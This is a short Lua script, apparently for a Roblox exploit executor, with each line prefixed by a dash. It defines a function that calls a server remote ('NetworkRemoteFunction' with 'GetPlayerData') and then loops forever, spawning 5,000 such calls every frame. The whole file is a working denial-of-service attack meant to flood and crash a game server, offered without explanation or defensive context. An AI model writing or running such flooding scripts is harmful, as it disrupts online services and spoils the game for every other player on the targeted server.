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- function Death()
- spawn(function()
- local args = {
- [1] = "GetPlayerData"
- }
- game:GetService("ReplicatedStorage").NetworkRemoteFunction:InvokeServer(unpack(args))
- end)
- end
- getgenv().ok = true
- while ok do
- task.wait()
- for i = 1,5000 do
- spawn(function()
- Death()
- end)
- end
- end
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